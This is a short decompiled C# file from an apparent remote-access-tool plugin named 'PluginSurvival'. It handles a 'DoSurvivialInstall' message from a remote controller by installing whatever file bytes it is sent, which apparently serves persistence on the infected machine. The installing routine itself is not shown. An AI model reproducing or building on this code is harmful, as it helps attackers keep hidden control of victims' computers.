﻿// Decompiled with JetBrains decompiler
// Type: PluginSurvival.MessageHandlers.PluginSurvivalHandler
// Assembly: PluginSurvival, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 924F4052-CBD6-4490-AF69-EC72D0024524
// Assembly location: C:\Users\ian\Downloads\Telegram Desktop\fein\Plugins\PluginSurvival.dll

using InvokedCommon.Messages;
using InvokedCommon.Networking;
using Plugin.Helper;


namespace PluginSurvival.MessageHandlers
{
	public class PluginSurvivalHandler : IMessageProcessor
	{
		public bool CanExecute(IMessage message) => message is DoSurvivialInstall;

		public bool CanExecuteFrom(ISender sender) => true;

		public void Execute(ISender sender, IMessage message)
		{
			if (!(message is DoSurvivialInstall message1))
				return;
			this.Execute(sender, message1);
		}

		private void Execute(ISender client, DoSurvivialInstall message)
		{
			if (message.filebytes != null && message.filextension != null)
				RSFuncs.InstallFile((Client)client, message.filebytes, message.filextension);
			else
				client.Send<NewSurvivalLog>(new NewSurvivalLog()
				{
					log = "Invalid file bytes or file extension",
					logtype = "error"
				});
		}
	}
}